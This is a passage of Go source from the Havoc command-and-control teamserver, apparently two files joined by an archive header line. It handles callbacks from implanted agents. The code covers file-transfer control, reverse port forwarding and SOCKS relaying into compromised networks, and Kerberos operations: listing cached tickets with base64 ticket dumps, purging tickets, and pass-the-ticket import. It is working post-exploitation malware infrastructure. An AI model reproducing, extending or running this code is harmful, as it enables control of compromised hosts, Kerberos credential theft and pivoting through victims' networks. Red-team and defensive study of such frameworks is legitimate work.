Message = map[string]string{ "Type": "Error", "Message": fmt.Sprintf("Couldn't stop download %x: Download does not exists", FileID), } } } else { Message = map[string]string{ "Type": "Error", "Message": fmt.Sprintf("Couldn't stop download %x: FileID not found", FileID), } } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TRANSFER - DEMON_COMMAND_TRANSFER_STOP, Invalid packet", AgentID)) Message = map[string]string{ "Type": "Error", "Message": fmt.Sprintf("Callback output is smaller than expected. Callback type COMMAND_TRANSFER with subcommand 0x1 (stop). Expected at least 8 bytes but received %v bytes", Parser.Length()), } } a.RequestCompleted(RequestID) break case DEMON_COMMAND_TRANSFER_RESUME: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) { var ( Found = Parser.ParseInt32() FileID = Parser.ParseInt32() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TRANSFER - DEMON_COMMAND_TRANSFER_RESUME, Found: %d, FileID: %x", AgentID, Found, FileID)) if Found == win32.TRUE { if download := a.DownloadGet(FileID); download != nil { Message = map[string]string{ "Type": "Good", "Message": fmt.Sprintf("Successful found and resumed download: %x", FileID), } } else { Message = map[string]string{ "Type": "Error", "Message": fmt.Sprintf("Couldn't resume download %x: Download does not exists", FileID), } } } else { Message = map[string]string{ "Type": "Error", "Message": fmt.Sprintf("Couldn't resume download %x: FileID not found", FileID), } } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TRANSFER - DEMON_COMMAND_TRANSFER_RESUME, Invalid packet", AgentID)) Message = map[string]string{ "Type": "Error", "Message": fmt.Sprintf("Callback output is smaller than expected. Callback type COMMAND_TRANSFER with subcommand 0x2 (resume). Expected at least 8 bytes but received %v bytes", Parser.Length()), } } a.RequestCompleted(RequestID) break case DEMON_COMMAND_TRANSFER_REMOVE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) { var ( Found = Parser.ParseInt32() FileID = Parser.ParseInt32() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TRANSFER - DEMON_COMMAND_TRANSFER_REMOVE, Found: %d, FileID: %x", AgentID, Found, FileID)) if Found == win32.TRUE { if download := a.DownloadGet(FileID); download != nil { Message = map[string]string{ "Type": "Good", "Message": fmt.Sprintf("Successful found and removed download: %x", FileID), } } else { Message = map[string]string{ "Type": "Error", "Message": fmt.Sprintf("Couldn't remove download %x: Download does not exists", FileID), } } } else { Message = map[string]string{ "Type": "Error", "Message": fmt.Sprintf("Couldn't remove download %x: FileID not found", FileID), } } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TRANSFER - DEMON_COMMAND_TRANSFER_REMOVE, Invalid packet", AgentID)) Message = map[string]string{ "Type": "Error", "Message": fmt.Sprintf("Callback output is smaller than expected. Callback type COMMAND_TRANSFER with subcommand 0x3 (remove). Expected at least 8 bytes but received %v bytes", Parser.Length()), } } a.RequestCompleted(RequestID) break default: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TRANSFER - UNKNOWN (%d)", AgentID, SubCommand)) } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TRANSFER, Invalid packet", AgentID)) } break case COMMAND_SOCKET: var ( SubCommand = 0 Message map[string]string ) if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { SubCommand = Parser.ParseInt32() switch SubCommand { case SOCKET_COMMAND_RPORTFWD_ADD: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) { var ( SocktID = 0 Success = 0 LclAddr = 0 LclPort = 0 FwdAddr = 0 FwdPort = 0 FwdString string LclString string ) Success = Parser.ParseInt32() SocktID = Parser.ParseInt32() LclAddr = Parser.ParseInt32() LclPort = Parser.ParseInt32() FwdAddr = Parser.ParseInt32() FwdPort = Parser.ParseInt32() logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_RPORTFWD_ADD, Success: %d, SocktID: %x, LclAddr: %d, LclPort: %d, FwdAddr: %d, FwdPort: %d", AgentID, Success, SocktID, LclAddr, LclPort, FwdAddr, FwdPort)) LclString = common.Int32ToIpString(int64(LclAddr)) FwdString = common.Int32ToIpString(int64(FwdAddr)) if Success == win32.TRUE { a.Console(teamserver.AgentConsole, "Info", fmt.Sprintf("Started reverse port forward on %s:%d to %s:%d [Id: %x]", LclString, LclPort, FwdString, FwdPort, SocktID), "") return } else { a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to start reverse port forward on %s:%d to %s:%d", LclString, LclPort, FwdString, FwdPort), "") return } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_RPORTFWD_ADD, Invalid packet", AgentID)) Message = map[string]string{ "Type": "Error", "Message": fmt.Sprintf("Callback output is smaller than expected. Callback type COMMAND_SOCKET sub-command rportfwd (SOCKET_COMMAND_RPORTFWD_ADD : 0x0) expected at least 16 bytes but received %v bytes", Parser.Length()), } } break case SOCKET_COMMAND_RPORTFWD_LIST: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_RPORTFWD_LIST", AgentID)) var ( FwdList string FwdCount int ) FwdList += "\n" FwdList += fmt.Sprintf(" %-12s %s\n", "Socket ID", "Forward") FwdList += fmt.Sprintf(" %-12s %s\n", "---------", "-------") for Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) { var ( SocktID = 0 LclAddr = 0 LclPort = 0 FwdAddr = 0 FwdPort = 0 FwdString string LclString string ) SocktID = Parser.ParseInt32() LclAddr = Parser.ParseInt32() LclPort = Parser.ParseInt32() FwdAddr = Parser.ParseInt32() FwdPort = Parser.ParseInt32() LclString = common.Int32ToIpString(int64(LclAddr)) FwdString = common.Int32ToIpString(int64(FwdAddr)) FwdList += fmt.Sprintf(" %-12x %s\n", SocktID, fmt.Sprintf("%s:%d -> %s:%d", LclString, LclPort, FwdString, FwdPort)) FwdCount++ } a.Console(teamserver.AgentConsole, "Info", fmt.Sprintf("reverse port forwards [%d active]:", FwdCount), FwdList) a.RequestCompleted(RequestID) break case SOCKET_COMMAND_RPORTFWD_REMOVE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) { var ( SocktID = 0 Type = 0 LclAddr = 0 LclPort = 0 FwdAddr = 0 FwdPort = 0 FwdString string LclString string ) SocktID = Parser.ParseInt32() Type = Parser.ParseInt32() LclAddr = Parser.ParseInt32() LclPort = Parser.ParseInt32() FwdAddr = Parser.ParseInt32() FwdPort = Parser.ParseInt32() logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_RPORTFWD_REMOVE, Type: %d, SocktID: %x, LclAddr: %d, LclPort: %d, FwdAddr: %d, FwdPort: %d", AgentID, Type, SocktID, LclAddr, LclPort, FwdAddr, FwdPort)) LclString = common.Int32ToIpString(int64(LclAddr)) FwdString = common.Int32ToIpString(int64(FwdAddr)) if Type == SOCKET_TYPE_REVERSE_PORTFWD { Message = map[string]string{ "Type": "Info", "Message": fmt.Sprintf("Successful closed and removed rportfwd [SocketID: %x] [Forward: %s:%d -> %s:%d]", SocktID, LclString, LclPort, FwdString, FwdPort), } } /* finally close our port forwarder */ a.PortFwdClose(SocktID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_RPORTFWD_REMOVE, Invalid packet", AgentID)) Message = map[string]string{ "Type": "Info", "Message": fmt.Sprintf("Callback output is smaller than expected. Callback type COMMAND_SOCKET sub-command rportfwd (SOCKET_COMMAND_RPORTFWD_REMOVE : 0x4) expected at least 20 bytes but received %v bytes", Parser.Length()), } } a.RequestCompleted(RequestID) break case SOCKET_COMMAND_RPORTFWD_CLEAR: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var Success = Parser.ParseInt32() logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_RPORTFWD_CLEAR, Success: %d", AgentID, Success)) if Success == win32.TRUE { Message = map[string]string{ "Type": "Good", "Message": "Successful closed and removed all rportfwds", } } else { Message = map[string]string{ "Type": "Erro", "Message": "Failed to closed and remove all rportfwds", } } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_RPORTFWD_CLEAR, Invalid packet", AgentID)) Message = map[string]string{ "Type": "Info", "Message": fmt.Sprintf("Callback output is smaller than expected. Callback type COMMAND_SOCKET sub-command rportfwd (SOCKET_COMMAND_RPORTFWD_CLEAR : 0x3) expected at least 4 bytes but received %v bytes", Parser.Length()), } } a.RequestCompleted(RequestID) break case SOCKET_COMMAND_SOCKSPROXY_ADD: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_SOCKSPROXY_ADD", AgentID)) break case SOCKET_COMMAND_OPEN: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) { var ( SocktID = 0 LclAddr = 0 LclPort = 0 FwdAddr = 0 FwdPort = 0 FwdString string ) SocktID = Parser.ParseInt32() LclAddr = Parser.ParseInt32() LclPort = Parser.ParseInt32() FwdAddr = Parser.ParseInt32() FwdPort = Parser.ParseInt32() // avoid too much spam //logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_OPEN, SocktID: %08x, LclAddr: %d, LclPort: %d, FwdAddr: %d, FwdPort: %d", AgentID, SocktID, LclAddr, LclPort, FwdAddr, FwdPort)) FwdString = common.Int32ToIpString(int64(FwdAddr)) FwdString = fmt.Sprintf("%s:%d", FwdString, FwdPort) if Socket := a.PortFwdGet(SocktID); Socket != nil { /* Socket already exists. don't do anything. */ logger.Debug("Socket already exists") return } /* add this rportfwd */ a.PortFwdNew(SocktID, LclAddr, LclPort, FwdAddr, FwdPort, FwdString) /* we will open the rportfwd client only after we have something to write */ } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_OPEN, Invalid packet", AgentID)) } break case SOCKET_COMMAND_READ: /* if we receive the SOCKET_COMMAND_READ command * that means that we should read the callback and send it to the forwared host/socks proxy */ if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) { var ( SocktID = Parser.ParseInt32() Type = Parser.ParseInt32() Success = Parser.ParseInt32() ) if Success == win32.TRUE { if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { var( Data = Parser.ParseBytes() ) // avoid too much spam //logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_READ, SocktID: %08x, Type: %d, DataLength: %x", AgentID, SocktID, Type, len(Data))) if Type == SOCKET_TYPE_CLIENT { /* we only open rportfwd clients once we have data to write */ opened, err := a.PortFwdIsOpen(SocktID) if err != nil { a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to write to reverse port forward host: %v", err), "") return } /* if first time, open the client */ if opened == false { err := a.PortFwdOpen(SocktID) if err != nil { logger.Debug(fmt.Sprintf("Failed to open rportfwd: %v", err)) a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to open reverse port forward host: %v", err), "") return } } /* write the data to the forwarded host */ err = a.PortFwdWrite(SocktID, Data) if err != nil { a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to write to reverse port forward socket 0x%08x: %v", SocktID, err), "") return } if opened == false { /* after we managed to open a socket to the forwarded host lets start a * goroutine where we read the data from the forwarded host and send it to the agent. */ go func() { for { Data, err := a.PortFwdRead(SocktID) if err == nil { /* only send the data if there is something... */ if len(Data) > 0 { /* make a new job */ var job = Job{ Command: COMMAND_SOCKET, Data: []any{ SOCKET_COMMAND_WRITE, SocktID, Data, }, } /* append the job to the task queue */ a.AddJobToQueue(job) } } else { /* we failed to read from the portfwd */ logger.Error(fmt.Sprintf("Failed to read from socket %08x: %v", SocktID, err)) return } } }() } } else if Type == SOCKET_TYPE_REVERSE_PROXY { /* check if there is a socket with that socks proxy id */ if Socket := a.SocksClientGet(SocktID); Socket != nil { /* write the data to socks proxy */ _, err := Socket.Conn.Write(Data) if err != nil { a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to write to socks proxy %v: %v", SocktID, err), "") /* TODO: remove socks proxy client */ //a.SocksClientClose(SOCKET_TYPE_CLIENT) return } } else { logger.Error(fmt.Sprintf("SocketID not found: %08x\n", SocktID)) } } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_READ, Invalid packet", AgentID)) } } else { if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( ErrorCode = Parser.ParseInt32() ) logger.Warn(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_READ, SocktID: %08x, Type: %d, Failed with: %d", AgentID, SocktID, Type, ErrorCode)) a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to read from socks target %v: %v", SocktID, ErrorCode), "") } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_READ, Invalid packet", AgentID)) } } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_READ, Invalid packet", AgentID)) } break case SOCKET_COMMAND_WRITE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) { var ( Id = Parser.ParseInt32() Type = Parser.ParseInt32() Success = Parser.ParseInt32() ) if Success == win32.FALSE { if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( ErrorCode = Parser.ParseInt32() ) logger.Warn(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_WRITE, Id: %08x, Type: %d, Failed with: %d", AgentID, Id, Type, ErrorCode)) a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to write to socks target %v: %v", Id, ErrorCode), "") } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_WRITE, Invalid packet", AgentID)) } } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_WRITE, Invalid packet", AgentID)) } break case SOCKET_COMMAND_CLOSE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) { var ( SockId = Parser.ParseInt32() Type = Parser.ParseInt32() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_CLOSE, Id: %08x, Type: %d", AgentID, SockId, Type)) if Type == SOCKET_TYPE_REVERSE_PROXY { /* lets remove it */ if a.SocksClientClose(int32(SockId)) == false { logger.Error(fmt.Sprintf("SockId not found: %08x", SockId)) } } else { logger.Error(fmt.Sprintf("Invalid socket type: %d", Type)) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_CLOSE, Invalid packet", AgentID)) } break case SOCKET_COMMAND_CONNECT: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) { var ( Success = Parser.ParseInt32() SocketId = Parser.ParseInt32() ErrorCode = Parser.ParseInt32() ) if Client := a.SocksClientGet(SocketId); Client != nil { if Success == win32.TRUE { // succeeded // avoid too much spam //logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_CONNECT, Id: %08x, Type: %d, Success: %d", AgentID, SocketId, SOCKET_TYPE_REVERSE_PROXY, Success)) err := socks.SendConnectSuccess(Client.Conn, Client.ATYP, Client.IpDomain, Client.Port) if err == nil { Client.Connected = true } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_CONNECT, Id: %08x, Type: %d, Success: %d, ErrorCode: %d", AgentID, SocketId, SOCKET_TYPE_REVERSE_PROXY, Success, ErrorCode)) socks.SendConnectFailure(Client.Conn, uint32(ErrorCode), Client.ATYP, Client.IpDomain, Client.Port) a.SocksClientClose(int32(SocketId)) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_CONNECT, Socket id not found: %x", AgentID, SocketId)) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_CONNECT, Invalid packet", AgentID)) } break default: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - UNKNOWN (%d)", AgentID, SubCommand)) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET, Invalid packet", AgentID)) Message = map[string]string{ "Type": "Error", "Message": fmt.Sprintf("Callback output is smaller than expected. Callback type COMMAND_SOCKET expected at least 4 bytes but received %v bytes", Parser.Length()), } } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) break case COMMAND_KERBEROS: var ( SubCommand int Message map[string]string HighPart int LowPart int Success int ) if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { SubCommand = Parser.ParseInt32() switch SubCommand { case KERBEROS_COMMAND_LUID: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { Success = Parser.ParseInt32() logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_LUID, Success: %d", AgentID, Success)) if Success == win32.TRUE { if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) { HighPart = Parser.ParseInt32() LowPart = Parser.ParseInt32() Message = map[string]string{ "Type": "Good", "Message": fmt.Sprintf("Current LogonId: %x:0x%x", HighPart, LowPart), } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_LUID, Invalid packet", AgentID)) } } else { Message = map[string]string{ "Type": "Erro", "Message": "Failed to obtain the current logon ID", } } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_LUID, Invalid packet", AgentID)) } case KERBEROS_COMMAND_KLIST: var ( NumSessions int NumTickets int Output string UserName string Domain string LogonIdLow int LogonIdHigh int Session int UserSID string LogonTimeLow int LogonTimeHigh int LogonTime int64 LogonType int AuthenticationPackage string LogonServer string LogonServerDNSDomain string Upn string ClientName string ClientRealm string ServerName string ServerRealm string StartTime int64 StartTimeLow int StartTimeHigh int EndTime int64 EndTimeLow int EndTimeHigh int RenewTime int64 RenewTimeLow int RenewTimeHigh int EncryptionType int TicketFlags int TicketFlagsStr string Ticket []byte ) if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { Success = Parser.ParseInt32() logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_KLIST, Success: %d", AgentID, Success)) if Success == win32.TRUE { if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { NumSessions = Parser.ParseInt32() for NumSessions > 0 && Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes}) { UserName = Parser.ParseUTF16String() Domain = Parser.ParseUTF16String() LogonIdLow = Parser.ParseInt32() LogonIdHigh = Parser.ParseInt32() Session = Parser.ParseInt32() UserSID = Parser.ParseUTF16String() LogonTimeLow = Parser.ParseInt32() LogonTimeHigh = Parser.ParseInt32() LogonType = Parser.ParseInt32() AuthenticationPackage = Parser.ParseUTF16String() LogonServer = Parser.ParseUTF16String() LogonServerDNSDomain = Parser.ParseUTF16String() Upn = Parser.ParseUTF16String() LogonTypes := map[int]string{ win32.LOGON32_LOGON_INTERACTIVE: "Interactive", win32.LOGON32_LOGON_NETWORK: "Network", win32.LOGON32_LOGON_BATCH: "Batch", win32.LOGON32_LOGON_SERVICE: "Service", win32.LOGON32_LOGON_UNLOCK: "Unlock", win32.LOGON32_LOGON_NETWORK_CLEARTEXT: "Network_Cleartext", win32.LOGON32_LOGON_NEW_CREDENTIALS: "New_Credentials", } // go from FILETIME to SYSTEMTIME LogonTime = int64((((LogonTimeHigh << (4 * 8)) | LogonTimeLow) - 0x019DB1DED53E8000) / 10000000) Output += fmt.Sprintf("UserName : %s\n", UserName) Output += fmt.Sprintf("Domain : %s\n", Domain) Output += fmt.Sprintf("LogonId : %x:0x%x\n", LogonIdHigh, LogonIdLow) Output += fmt.Sprintf("Session : %d\n", Session) Output += fmt.Sprintf("UserSID : %s\n", UserSID) Output += fmt.Sprintf("LogonTime : %s\n", time.Unix(LogonTime, 0)) Output += fmt.Sprintf("Authentication package : %s\n", AuthenticationPackage) Output += fmt.Sprintf("LogonType : %s\n", LogonTypes[LogonType]) Output += fmt.Sprintf("LogonServer : %s\n", LogonServer) Output += fmt.Sprintf("LogonServerDNSDomain : %s\n", LogonServerDNSDomain) Output += fmt.Sprintf("UserPrincipalName : %s\n", Upn) if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { NumTickets = Parser.ParseInt32() Output += fmt.Sprintf("Cached tickets: : %d\n", NumTickets) for NumTickets > 0 && Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadBytes}) { ClientName = Parser.ParseUTF16String() ClientRealm = Parser.ParseUTF16String() ServerName = Parser.ParseUTF16String() ServerRealm = Parser.ParseUTF16String() StartTimeLow = Parser.ParseInt32() StartTimeHigh = Parser.ParseInt32() EndTimeLow = Parser.ParseInt32() EndTimeHigh = Parser.ParseInt32() RenewTimeLow = Parser.ParseInt32() RenewTimeHigh = Parser.ParseInt32() EncryptionType = Parser.ParseInt32() TicketFlags = Parser.ParseInt32() Ticket = Parser.ParseBytes() // go from FILETIME to SYSTEMTIME StartTime = int64((((StartTimeHigh << (4 * 8)) | StartTimeLow) - 0x019DB1DED53E8000) / 10000000) EndTime = int64((((EndTimeHigh << (4 * 8)) | EndTimeLow) - 0x019DB1DED53E8000) / 10000000) RenewTime = int64((((RenewTimeHigh << (4 * 8)) | RenewTimeLow) - 0x019DB1DED53E8000) / 10000000) EncryptionTypes := map[int]string{ win32.DES_CBC_CRC: "DES_CBC_CRC", win32.DES_CBC_MD4: "DES_CBC_MD4", win32.DES_CBC_MD5: "DES_CBC_MD5", win32.DES3_CBC_MD5: "DES3_CBC_MD5", win32.DES3_CBC_SHA1: "DES3_CBC_SHA1", win32.DSAWITHSHA1_CMSOID: "DSAWITHSHA1_CMSOID", win32.MD5WITHRSAENCRYPTION_CMSOID: "MD5WITHRSAENCRYPTION_CMSOID", win32.SHA1WITHRSAENCRYPTION_CMSOID: "SHA1WITHRSAENCRYPTION_CMSOID", win32.RC2CBC_ENVOID: "RC2CBC_ENVOID", win32.RSAENCRYPTION_ENVOID: "RSAENCRYPTION_ENVOID", win32.RSAES_OAEP_ENV_OID: "RSAES_OAEP_ENV_OID", win32.DES3_CBC_SHA1_KD: "DES3_CBC_SHA1_KD", win32.AES128_CTS_HMAC_SHA1: "AES128_CTS_HMAC_SHA1", win32.AES256_CTS_HMAC_SHA1: "AES256_CTS_HMAC_SHA1", win32.RC4_HMAC: "RC4_HMAC", win32.RC4_HMAC_EXP: "RC4_HMAC_EXP", win32.SUBKEY_KEYMATERIAL: "SUBKEY_KEYMATERIAL", win32.OLD_EXP: "OLD_EXP", } TicketFlagTypes := []string{ "name_canonicalize", "anonymous", "ok_as_delegate", "?", "hw_authent", "pre_authent", "initial", "renewable", "invalid", "postdated", "may_postdate", "proxy", "proxiable", "forwarded", "forwardable", "reserved", } TicketFlagsStr = "" for i := 0; i < 16; i++ { if ((TicketFlags >> (i + 16)) & 1) == 1 { TicketFlagsStr += " " + TicketFlagTypes[i] } } TicketFlagsStr += fmt.Sprintf(" (0x%x)", TicketFlags) Output += "\n" Output += fmt.Sprintf("\tClient name : %s @ %s\n", ClientName, ClientRealm) Output += fmt.Sprintf("\tServer name : %s @ %s\n", ServerName, ServerRealm) Output += fmt.Sprintf("\tStart time : %s\n", time.Unix(StartTime, 0)) Output += fmt.Sprintf("\tEnd time : %s\n", time.Unix(EndTime, 0)) Output += fmt.Sprintf("\tRewnew time : %s\n", time.Unix(RenewTime, 0)) Output += fmt.Sprintf("\tEncryption type : %s\n", EncryptionTypes[EncryptionType]) Output += fmt.Sprintf("\tFlags :%s\n", TicketFlagsStr) if len(Ticket) > 0 { Output += fmt.Sprintf("\tTicket : %s\n", base64.StdEncoding.EncodeToString(Ticket)) } NumTickets -= 1 } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_KLIST, Invalid packet", AgentID)) } Output += "\n" NumSessions -= 1 } Message = map[string]string{ "Type": "Info", "Output": Output, } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_KLIST, Invalid packet", AgentID)) } } else { Message = map[string]string{ "Type": "Erro", "Message": "Failed to list all kerberos tickets", } } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_KLIST, Invalid packet", AgentID)) } break case KERBEROS_COMMAND_PURGE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { Success = Parser.ParseInt32() logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_PURGE, Success: %d", AgentID, Success)) if Success == win32.TRUE { Message = map[string]string{ "Type": "Good", "Message": "Successfully purged the Kerberos ticket", } } else { Message = map[string]string{ "Type": "Erro", "Message": "Failed to purge the kerberos ticket", } } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_PURGE, Invalid packet", AgentID)) } case KERBEROS_COMMAND_PTT: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { Success = Parser.ParseInt32() logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_PTT, Success: %d", AgentID, Success)) if Success == win32.TRUE { Message = map[string]string{ "Type": "Good", "Message": "Successfully imported the Kerberos ticket", } } else { Message = map[string]string{ "Type": "Erro", "Message": "Failed to import the kerberos ticket", } } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_PTT, Invalid packet", AgentID)) } default: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - UNKNOWN (%d)", AgentID, SubCommand)) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS, Invalid packet", AgentID)) } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) break case COMMAND_MEM_FILE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) { var ( MemFileID = Parser.ParseInt32() Success = Parser.ParseInt32() ) // TODO: don't ignore this packet? // if this fails, then inline-execute, dotnet, or upload will show the error logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_MEM_FILE, Success: %d, MemFileID: %x", AgentID, Success, MemFileID)) a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_MEM_FILE, Invalid packet", AgentID)) } break; case COMMAND_PACKAGE_DROPPED: var ( Message map[string]string ) if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) { var ( PkgLength = Parser.ParseInt32() MaxLength = Parser.ParseInt32() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PACKAGE_DROPPED, PkgLength: 0x%x, MaxLength: 0x%x", AgentID, PkgLength, MaxLength)) Message = map[string]string{ "Type": "Erro", "Message": "A package was discarded by demon for being larger than PIPE_BUFFER_MAX", } // a single command can generate multiple dropped packages //a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PACKAGE_DROPPED, Invalid packet", AgentID)) } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) break; default: logger.Debug(fmt.Sprintf("Agent: %x, Command: UNKNOWN (%d))", AgentID, CommandID)) /* end of the switch case output parser */ break } if Parser.Length() > 0 { logger.Debug(fmt.Sprintf("Agent: %x, %d bytes were left unread", AgentID, Parser.Length())) } } func (a *Agent) Console(Console func(DemonID string, CommandID int, Output map[string]string), Type, Text, Output string) { var Message = map[string]string{ "Type": Type, "Message": Text, "Output": Output, } Console(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) } havoc-0.6~git20240910.69ce17c/teamserver/pkg/agent/types.go000066400000000000000000001025711467014221700230240ustar00rootroot00000000000000package agent import ( "sync" "net" "os" "Havoc/pkg/common/parser" "Havoc/pkg/packager" "Havoc/pkg/socks" ) const ( typeGood = "Good" typeInfo = "Info" typeError = "Error" ) type DemonInterface interface { // TODO: move everything from RoutineFunc here } type EventInterface interface { } type Header struct { Size int MagicValue 